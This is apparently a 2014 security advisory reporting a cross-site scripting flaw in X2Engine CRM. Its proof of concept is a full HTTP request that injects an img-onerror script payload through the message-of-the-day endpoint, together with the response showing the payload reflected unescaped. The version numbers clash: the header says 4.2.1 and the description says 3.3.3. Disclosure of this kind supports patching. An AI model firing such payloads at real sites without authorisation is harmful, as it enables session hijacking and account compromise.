#Affected Vendor: http://www.x2engine.com/
#Date: 24/09/2014
#Discovered by: JoeV
#Type of vulnerability: XSS
#Tested on: Windows 7
#Version : 4.2.1

#Description: X2Engine CRM v 3.3.3 is susceptible to Cross Site Scripting
attack.

Proof of Concept (PoC):
---------------------------
POST /index-test.php/site/motd HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Content-Length: 63
Accept: */*
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/37.0.2062.120 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/index-test.php/profile/1
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.8
Cookie: iconSize=16x16; hudson_auto_refresh=true;
/modules/system/admin.php_SystemAutotasks_sortsel=sat_name;
/modules/system/admin.php_SystemAutotasks_ordersel=ASC;
/modules/system/admin.php_limitsel=15;
/modules/system/admin.php_SystemAutotasks_filtersel=default; cookies_on=1;
__atuvc=2%7C39; PHPSESSID=6mefdfmcnj13282kb7anr4obe2

message=%22%3E%3Cimg+src%3Dd+onerror%3Dconfirm(%2Fxss%2F)%3B%3E

HTTP/1.1 200 OK
Date: Wed, 24 Sep 2014 14:00:57 GMT
Server: Apache/2.4.9 (Win32) PHP/5.5.12
X-Powered-By: PHP/5.5.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Content-Length: 37
Content-Type: text/html

"><img src=d onerror=confirm(/xss/);>

-- 
Regards,

*Joel V*